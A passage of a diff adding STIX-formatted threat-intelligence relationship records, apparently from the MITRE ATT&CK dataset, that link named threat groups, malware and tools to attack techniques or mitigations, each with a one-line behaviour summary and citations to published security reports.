"2019-08-20T13:08:13.444Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.374Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--80c071f7-123e-468f-800d-726a1d3e4144", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.936Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--96a4b2ba-b2d9-482c-bdb9-7c710589f835", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to create or enable accounts, such as support_388945a0.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.568Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) retrieves additional malicious payloads from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--921b3245-0795-40cd-82e1-04f38bc42b14", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload is capable of capturing screen shots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.416Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b2496438-9431-40e5-8ca0-2ec713f342c3", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.873Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5", + "source_ref": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8", + "modified": "2019-07-24T14:03:38.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9015a88f-9442-41cb-8486-046b76cddc5d", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.975Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware creates a scheduled task entitled \u201cIE Web Cache\u201d to execute a malicious file hourly.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": "relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) contains unused machine instructions in a likely attempt to hinder analysis.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9b88372d-4f3f-4442-906d-9ab07e22e781", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "modified": "2019-01-30T18:08:51.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Strider](https://attack.mitre.org/groups/G0041) has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to dump credentials any time a domain, local user, or administrator logs in or changes a password.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.077Z", + "id": "relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794", + "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "modified": "2019-03-25T16:59:10.956Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.062Z", + "id": "relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.270Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.023Z", + "id": "relationship--b1ee5cba-d4e0-4af0-aa5c-5faacfdb0dbc", + "source_ref": "course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04", + "modified": "2019-07-24T18:09:00.776Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) used various social media channels to spearphish victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e931afd2-35b2-4f9f-9b7c-88093e822c7b", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "source_name": "SecureWorks Mia Ash July 2017", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.897Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--80b30059-28a5-4eaa-9d7c-193875bbccd0", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) finds a specified directory, lists the files and metadata about those files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--636be06a-5c19-45c8-b6be-c38634c583dc", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.780Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[APT37](https://attack.mitre.org/groups/G0067) leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--32bb5463-c8b5-4ba1-bc13-b242548d5aba", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.742Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c24f1b29-ee7b-4fe6-89be-6b733888a4e6", + "source_ref": "course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784", + "modified": "2019-07-24T19:15:00.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has inserted garbage characters into code, presumably to avoid anti-virus detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--41bbe151-0ebe-4610-85d2-ba565e299d23", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.384Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--e81d69cf-62b8-464b-ad5b-9a9e80236801", + "source_ref": "course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0", + "modified": "2019-07-31T19:44:19.511Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) have used rundll32.exe in Registry values added to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1c6f35f0-1169-4218-9881-7291e1765cd8", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has compressed and encrypted data into password-protected RAR archives prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f4188b9b-c2fe-41b7-96e0-e28d99671b9d", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.316Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "Several [Ke3chang](https://attack.mitre.org/groups/G0004) backdoors achieved persistence by adding a Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--dcb733f7-0b36-4b25-82d4-c332810562a7", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.484Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's username to send to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) checks the running processes on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8481804a-2dc2-4e58-8515-1f3d1323f33e", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Dyre](https://attack.mitre.org/software/S0024) uses HTTPS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--812073c3-43c5-4f92-b396-56b669eee0ad", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "modified": "2019-04-24T23:21:07.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "source_name": "Symantec Dyre June 2015", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the [Wiper](https://attack.mitre.org/software/S0041) malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--82268341-e0a8-4937-8618-351e147daa0c", + "source_ref": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks. (2013, March 21). Wiper Malware Analysis Attacking Korean Financial Sector. Retrieved May 13, 2015.", + "source_name": "Dell Wiper", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[adbupd](https://attack.mitre.org/software/S0202) contains a copy of the OpenSSL library to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e7077a73-991e-4660-a13d-fb30dc36fab1", + "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--98bdcea2-1c8d-4a65-b75d-075a00d6e87c", + "source_ref": "course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40", + "modified": "2019-08-12T19:44:26.252Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails links and attachments attempting to get a user to click.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b979ce29-9d89-4d81-82fb-14240af7a241", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.399Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 